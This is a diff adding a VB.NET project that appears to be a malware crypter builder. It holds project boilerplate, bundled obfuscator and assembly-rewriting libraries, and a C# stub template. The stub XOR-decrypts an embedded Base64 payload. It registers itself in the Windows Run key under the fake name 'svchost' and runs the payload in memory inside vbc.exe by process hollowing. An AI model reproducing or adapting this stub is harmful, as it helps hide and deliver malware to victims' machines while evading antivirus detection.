Dim pinnedData = GCHandle.Alloc(data, GCHandleType.Pinned)
|
||||
Marshal.StructureToPtr(iconDir, pinnedData.AddrOfPinnedObject, False)
|
||||
Dim offset = Marshal.SizeOf(iconDir)
|
||||
For i = 0 To ImageCount - 1
|
||||
Dim grpEntry As New GRPICONDIRENTRY
|
||||
Dim bitmapheader As New BITMAPINFOHEADER
|
||||
Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
|
||||
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
|
||||
pinnedBitmapInfoHeader.Free()
|
||||
grpEntry.Width = iconEntry(i).Width
|
||||
grpEntry.Height = iconEntry(i).Height
|
||||
grpEntry.ColorCount = iconEntry(i).ColorCount
|
||||
grpEntry.Reserved = iconEntry(i).Reserved
|
||||
grpEntry.Planes = bitmapheader.Planes
|
||||
grpEntry.BitCount = bitmapheader.BitCount
|
||||
grpEntry.BytesInRes = iconEntry(i).BytesInRes
|
||||
grpEntry.ID = CType(iconBaseID + i, UShort)
|
||||
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
|
||||
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
|
||||
Next
|
||||
pinnedData.Free()
|
||||
Return data
|
||||
End Function
|
||||
|
||||
End Class
|
||||
|
||||
End Class
|
||||
@@ -0,0 +1,38 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.225
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
'NOTE: This file is auto-generated; do not modify it directly. To make changes,
|
||||
' or if you encounter build errors in this file, go to the Project Designer
|
||||
' (go to Project Properties or double-click the My Project node in
|
||||
' Solution Explorer), and make changes on the Application tab.
|
||||
'
|
||||
Partial Friend Class MyApplication
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Public Sub New()
|
||||
MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows)
|
||||
Me.IsSingleInstance = false
|
||||
Me.EnableVisualStyles = true
|
||||
Me.SaveMySettingsOnExit = true
|
||||
Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterAllFormsClose
|
||||
End Sub
|
||||
|
||||
<Global.System.Diagnostics.DebuggerStepThroughAttribute()> _
|
||||
Protected Overrides Sub OnCreateMainForm()
|
||||
Me.MainForm = Global.WindowsApplication1.Form1
|
||||
End Sub
|
||||
End Class
|
||||
End Namespace
|
||||
@@ -0,0 +1,10 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<MyApplicationData xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
|
||||
<MySubMain>true</MySubMain>
|
||||
<MainForm>Form1</MainForm>
|
||||
<SingleInstance>false</SingleInstance>
|
||||
<ShutdownMode>1</ShutdownMode>
|
||||
<EnableVisualStyles>true</EnableVisualStyles>
|
||||
<AuthenticationMode>0</AuthenticationMode>
|
||||
<SaveMySettingsOnExit>true</SaveMySettingsOnExit>
|
||||
</MyApplicationData>
|
||||
@@ -0,0 +1,35 @@
|
||||
Imports System
|
||||
Imports System.Reflection
|
||||
Imports System.Runtime.InteropServices
|
||||
|
||||
' Allgemeine Informationen über eine Assembly werden über die folgenden
|
||||
' Attribute gesteuert. Ändern Sie diese Attributwerte, um die Informationen zu ändern,
|
||||
' die mit einer Assembly verknüpft sind.
|
||||
|
||||
' Die Werte der Assemblyattribute überprüfen
|
||||
|
||||
<Assembly: AssemblyTitle("")>
|
||||
<Assembly: AssemblyDescription("")>
|
||||
<Assembly: AssemblyCompany("")>
|
||||
<Assembly: AssemblyProduct("")>
|
||||
<Assembly: AssemblyCopyright("")>
|
||||
<Assembly: AssemblyTrademark("")>
|
||||
|
||||
<Assembly: ComVisible(False)>
|
||||
|
||||
'Die folgende GUID bestimmt die ID der Typbibliothek, wenn dieses Projekt für COM verfügbar gemacht wird
|
||||
<Assembly: Guid("66811ef9-7ce4-4983-b0e3-1424c24a23dc")>
|
||||
|
||||
' Versionsinformationen für eine Assembly bestehen aus den folgenden vier Werten:
|
||||
'
|
||||
' Hauptversion
|
||||
' Nebenversion
|
||||
' Buildnummer
|
||||
' Revision
|
||||
'
|
||||
' Sie können alle Werte angeben oder die standardmäßigen Build- und Revisionsnummern
|
||||
' übernehmen, indem Sie "*" eingeben:
|
||||
' <Assembly: AssemblyVersion("1.0.*")>
|
||||
|
||||
<Assembly: AssemblyVersion("1.0.0.0")>
|
||||
<Assembly: AssemblyFileVersion("1.0.0.0")>
|
||||
@@ -0,0 +1,206 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' Il codice è stato generato da uno strumento.
|
||||
' Versione runtime:4.0.30319.1
|
||||
'
|
||||
' Le modifiche apportate a questo file possono provocare un comportamento non corretto e andranno perse se
|
||||
' il codice viene rigenerato.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
Imports System
|
||||
|
||||
Namespace My.Resources
|
||||
|
||||
'Questa classe è stata generata automaticamente dalla classe StronglyTypedResourceBuilder.
|
||||
'tramite uno strumento quale ResGen o Visual Studio.
|
||||
'Per aggiungere o rimuovere un membro, modificare il file con estensione ResX ed eseguire nuovamente ResGen
|
||||
'con l'opzione /str oppure ricompilare il progetto VS.
|
||||
'''<summary>
|
||||
''' Classe di risorse fortemente tipizzata per la ricerca di stringhe localizzate e così via.
|
||||
'''</summary>
|
||||
<Global.System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "4.0.0.0"), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.Microsoft.VisualBasic.HideModuleNameAttribute()> _
|
||||
Friend Module Resources
|
||||
|
||||
Private resourceMan As Global.System.Resources.ResourceManager
|
||||
|
||||
Private resourceCulture As Global.System.Globalization.CultureInfo
|
||||
|
||||
'''<summary>
|
||||
''' Restituisce l'istanza di ResourceManager nella cache utilizzata da questa classe.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager
|
||||
Get
|
||||
If Object.ReferenceEquals(resourceMan, Nothing) Then
|
||||
Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("WindowsApplication1.Resources", GetType(Resources).Assembly)
|
||||
resourceMan = temp
|
||||
End If
|
||||
Return resourceMan
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Esegue l'override della proprietà CurrentUICulture del thread corrente per tutte le
|
||||
''' ricerche di risorse eseguite utilizzando questa classe di risorse fortemente tipizzata.
|
||||
'''</summary>
|
||||
<Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Friend Property Culture() As Global.System.Globalization.CultureInfo
|
||||
Get
|
||||
Return resourceCulture
|
||||
End Get
|
||||
Set
|
||||
resourceCulture = value
|
||||
End Set
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property AG_Configuration_SettingsProviders() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("AG_Configuration_SettingsProviders", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property AG_Deployment_Updating() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("AG_Deployment_Updating", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property AG_Eazfuscator_NET_Installer() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("AG_Eazfuscator_NET_Installer", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property AG_Eazfuscator_NET_Settings() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("AG_Eazfuscator_NET_Settings", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property AG_Eazfuscator_NET_Updating() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("AG_Eazfuscator_NET_Updating", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Castle_Core() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Castle_Core", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Castle_MicroKernel() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Castle_MicroKernel", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Eazfuscator_NET() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Eazfuscator_NET", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property ICSharpCode_SharpZipLib() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("ICSharpCode_SharpZipLib", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Microsoft_Cci_MetadataHelper() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_MetadataHelper", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Microsoft_Cci_MetadataModel() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_MetadataModel", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Microsoft_Cci_MutableMetadataModel() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_MutableMetadataModel", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Microsoft_Cci_PeReader() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_PeReader", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Microsoft_Cci_PeWriter() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_PeWriter", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Microsoft_Cci_SourceModel() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Microsoft_Cci_SourceModel", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
Friend ReadOnly Property Mono_Cecil() As Byte()
|
||||
Get
|
||||
Dim obj As Object = ResourceManager.GetObject("Mono_Cecil", resourceCulture)
|
||||
Return CType(obj,Byte())
|
||||
End Get
|
||||
End Property
|
||||
|
||||
'''<summary>
|
||||
''' Cerca una stringa localizzata simile a
|
||||
'''using System;
|
||||
'''using System.Collections;
|
||||
'''using System.Collections.Generic;
|
||||
'''using Microsoft.Win32;
|
||||
'''using System.Diagnostics;
|
||||
'''using System.Runtime.InteropServices;
|
||||
'''using System.IO;
|
||||
'''using System.Text;
|
||||
'''using System.Windows.Forms;
|
||||
'''
|
||||
'''namespace zazzo
|
||||
'''{
|
||||
'''static class adwadw
|
||||
'''{
|
||||
'''
|
||||
''' public static void Main()
|
||||
''' {
|
||||
'''
|
||||
'''
|
||||
''' string %10% = "msgoff";
|
||||
''' byte[] %4% = %01%(Convert.FromBase64String(%3%), "lolil");
|
||||
''' string %64% = Environment.GetEnvironmentVariable("windir") + @"\Microsoft.Net\Framewor [stringa troncata]";.
|
||||
'''</summary>
|
||||
Friend ReadOnly Property source() As String
|
||||
Get
|
||||
Return ResourceManager.GetString("source", resourceCulture)
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,172 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<root>
|
||||
<!--
|
||||
Microsoft ResX Schema
|
||||
|
||||
Version 2.0
|
||||
|
||||
The primary goals of this format is to allow a simple XML format
|
||||
that is mostly human readable. The generation and parsing of the
|
||||
various data types are done through the TypeConverter classes
|
||||
associated with the data types.
|
||||
|
||||
Example:
|
||||
|
||||
... ado.net/XML headers & schema ...
|
||||
<resheader name="resmimetype">text/microsoft-resx</resheader>
|
||||
<resheader name="version">2.0</resheader>
|
||||
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
|
||||
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
|
||||
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
|
||||
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
|
||||
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
|
||||
<value>[base64 mime encoded serialized .NET Framework object]</value>
|
||||
</data>
|
||||
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
|
||||
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
|
||||
<comment>This is a comment</comment>
|
||||
</data>
|
||||
|
||||
There are any number of "resheader" rows that contain simple
|
||||
name/value pairs.
|
||||
|
||||
Each data row contains a name, and value. The row also contains a
|
||||
type or mimetype. Type corresponds to a .NET class that support
|
||||
text/value conversion through the TypeConverter architecture.
|
||||
Classes that don't support this are serialized and stored with the
|
||||
mimetype set.
|
||||
|
||||
The mimetype is used for serialized objects, and tells the
|
||||
ResXResourceReader how to depersist the object. This is currently not
|
||||
extensible. For a given mimetype the value must be set accordingly:
|
||||
|
||||
Note - application/x-microsoft.net.object.binary.base64 is the format
|
||||
that the ResXResourceWriter will generate, however the reader can
|
||||
read any of the formats listed below.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.binary.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.soap.base64
|
||||
value : The object must be serialized with
|
||||
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
|
||||
: and then encoded with base64 encoding.
|
||||
|
||||
mimetype: application/x-microsoft.net.object.bytearray.base64
|
||||
value : The object must be serialized into a byte array
|
||||
: using a System.ComponentModel.TypeConverter
|
||||
: and then encoded with base64 encoding.
|
||||
-->
|
||||
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
|
||||
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
|
||||
<xsd:element name="root" msdata:IsDataSet="true">
|
||||
<xsd:complexType>
|
||||
<xsd:choice maxOccurs="unbounded">
|
||||
<xsd:element name="metadata">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" use="required" type="xsd:string" />
|
||||
<xsd:attribute name="type" type="xsd:string" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="assembly">
|
||||
<xsd:complexType>
|
||||
<xsd:attribute name="alias" type="xsd:string" />
|
||||
<xsd:attribute name="name" type="xsd:string" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="data">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
|
||||
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
|
||||
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
|
||||
<xsd:attribute ref="xml:space" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
<xsd:element name="resheader">
|
||||
<xsd:complexType>
|
||||
<xsd:sequence>
|
||||
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
|
||||
</xsd:sequence>
|
||||
<xsd:attribute name="name" type="xsd:string" use="required" />
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:choice>
|
||||
</xsd:complexType>
|
||||
</xsd:element>
|
||||
</xsd:schema>
|
||||
<resheader name="resmimetype">
|
||||
<value>text/microsoft-resx</value>
|
||||
</resheader>
|
||||
<resheader name="version">
|
||||
<value>2.0</value>
|
||||
</resheader>
|
||||
<resheader name="reader">
|
||||
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<resheader name="writer">
|
||||
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</resheader>
|
||||
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
|
||||
<data name="AG_Configuration_SettingsProviders" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AG.Configuration.SettingsProviders.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="AG_Deployment_Updating" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AG.Deployment.Updating.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="AG_Eazfuscator_NET_Installer" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AG.Eazfuscator.NET.Installer.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="AG_Eazfuscator_NET_Settings" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AG.Eazfuscator.NET.Settings.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="AG_Eazfuscator_NET_Updating" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\AG.Eazfuscator.NET.Updating.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Castle_Core" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Castle.Core.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Castle_MicroKernel" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Castle.MicroKernel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Eazfuscator_NET" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Eazfuscator.NET.exe;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="ICSharpCode_SharpZipLib" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\ICSharpCode.SharpZipLib.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Microsoft_Cci_MetadataHelper" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Microsoft.Cci.MetadataHelper.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Microsoft_Cci_MetadataModel" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Microsoft.Cci.MetadataModel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Microsoft_Cci_MutableMetadataModel" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Microsoft.Cci.MutableMetadataModel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Microsoft_Cci_PeReader" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Microsoft.Cci.PeReader.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Microsoft_Cci_PeWriter" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Microsoft.Cci.PeWriter.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Microsoft_Cci_SourceModel" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Microsoft.Cci.SourceModel.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="Mono_Cecil" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\Mono.Cecil.dll;System.Byte[], mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
|
||||
</data>
|
||||
<data name="source" type="System.Resources.ResXFileRef, System.Windows.Forms">
|
||||
<value>..\Resources\source.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252</value>
|
||||
</data>
|
||||
</root>
|
||||
@@ -0,0 +1,73 @@
|
||||
'------------------------------------------------------------------------------
|
||||
' <auto-generated>
|
||||
' This code was generated by a tool.
|
||||
' Runtime Version:4.0.30319.1
|
||||
'
|
||||
' Changes to this file may cause incorrect behavior and will be lost if
|
||||
' the code is regenerated.
|
||||
' </auto-generated>
|
||||
'------------------------------------------------------------------------------
|
||||
|
||||
Option Strict On
|
||||
Option Explicit On
|
||||
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute(), _
|
||||
Global.System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0"), _
|
||||
Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Partial Friend NotInheritable Class MySettings
|
||||
Inherits Global.System.Configuration.ApplicationSettingsBase
|
||||
|
||||
Private Shared defaultInstance As MySettings = CType(Global.System.Configuration.ApplicationSettingsBase.Synchronized(New MySettings()),MySettings)
|
||||
|
||||
#Region "My.Settings Auto-Save Functionality"
|
||||
#If _MyType = "WindowsForms" Then
|
||||
Private Shared addedHandler As Boolean
|
||||
|
||||
Private Shared addedHandlerLockObject As New Object
|
||||
|
||||
<Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), Global.System.ComponentModel.EditorBrowsableAttribute(Global.System.ComponentModel.EditorBrowsableState.Advanced)> _
|
||||
Private Shared Sub AutoSaveSettings(ByVal sender As Global.System.Object, ByVal e As Global.System.EventArgs)
|
||||
If My.Application.SaveMySettingsOnExit Then
|
||||
My.Settings.Save()
|
||||
End If
|
||||
End Sub
|
||||
#End If
|
||||
#End Region
|
||||
|
||||
Public Shared ReadOnly Property [Default]() As MySettings
|
||||
Get
|
||||
|
||||
#If _MyType = "WindowsForms" Then
|
||||
If Not addedHandler Then
|
||||
SyncLock addedHandlerLockObject
|
||||
If Not addedHandler Then
|
||||
AddHandler My.Application.Shutdown, AddressOf AutoSaveSettings
|
||||
addedHandler = True
|
||||
End If
|
||||
End SyncLock
|
||||
End If
|
||||
#End If
|
||||
Return defaultInstance
|
||||
End Get
|
||||
End Property
|
||||
End Class
|
||||
End Namespace
|
||||
|
||||
Namespace My
|
||||
|
||||
<Global.Microsoft.VisualBasic.HideModuleNameAttribute(), _
|
||||
Global.System.Diagnostics.DebuggerNonUserCodeAttribute(), _
|
||||
Global.System.Runtime.CompilerServices.CompilerGeneratedAttribute()> _
|
||||
Friend Module MySettingsProperty
|
||||
|
||||
<Global.System.ComponentModel.Design.HelpKeywordAttribute("My.Settings")> _
|
||||
Friend ReadOnly Property Settings() As Global.WindowsApplication1.My.MySettings
|
||||
Get
|
||||
Return Global.WindowsApplication1.My.MySettings.Default
|
||||
End Get
|
||||
End Property
|
||||
End Module
|
||||
End Namespace
|
||||
@@ -0,0 +1,7 @@
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<SettingsFile xmlns="http://schemas.microsoft.com/VisualStudio/2004/01/settings" CurrentProfile="(Default)" UseMySettingsClassName="true">
|
||||
<Profiles>
|
||||
<Profile Name="(Default)" />
|
||||
</Profiles>
|
||||
<Settings />
|
||||
</SettingsFile>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,201 @@
|
||||
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using Microsoft.Win32;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
[assembly: AssemblyTitle("Product")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("MammoTh")]
|
||||
[assembly: AssemblyProduct("WindowsFormsApplication1")]
|
||||
[assembly: AssemblyCopyright("Copyright © Everything 2011")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
[assembly: Guid("0f52f99a-a13c-4991-8db9-447ad43f7b02")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
||||
namespace zazzo
|
||||
{
|
||||
static class adwadw
|
||||
{
|
||||
|
||||
public static void Main()
|
||||
{
|
||||
|
||||
string startz = "startoff";
|
||||
string %10% = "msgoff";
|
||||
byte[] %4% = %01%(Convert.FromBase64String(%3%), "lolil");
|
||||
string %64% = Environment.GetEnvironmentVariable("windir") + @"\Microsoft.Net\Framework\v2.0.50727\vbc.exe";
|
||||
|
||||
if (startz == "starton") {
|
||||
Microsoft.Win32.RegistryKey Registry = Microsoft.Win32.Registry.CurrentUser;
|
||||
Microsoft.Win32.RegistryKey Key = Registry.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
|
||||
Key.SetValue("svchost", Application.ExecutablePath, Microsoft.Win32.RegistryValueKind.String);
|
||||
}
|
||||
if (%10% == "msgon") {
|
||||
System.Windows.Forms.MessageBox.Show("msghere","titlehere");
|
||||
}
|
||||
|
||||
|
||||
cMemoryExecute.Run(%4%, %64%, "");
|
||||
|
||||
|
||||
|
||||
}
|
||||
|
||||
|
||||
public static byte[] %01%(byte[] message, string password)
|
||||
{
|
||||
byte[] passarr = System.Text.Encoding.UTF8.GetBytes(password);
|
||||
int rand1 = System.Convert.ToInt32(message[message.Length - 1] ^ 112);
|
||||
byte[] outarr = new byte[message.Length + 1];
|
||||
int u1 = System.Convert.ToInt32(0);
|
||||
for (int i1 = 0; i1 <= message.Length - 1; i1++)
|
||||
{
|
||||
outarr[i1] = (byte)((message[i1] ^ rand1) ^ passarr[u1]);
|
||||
if (u1 == password.Length - 1)
|
||||
{
|
||||
u1 = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
u1++;
|
||||
}
|
||||
}
|
||||
Array.Resize(ref outarr, message.Length - 2 + 1);
|
||||
return outarr;
|
||||
}
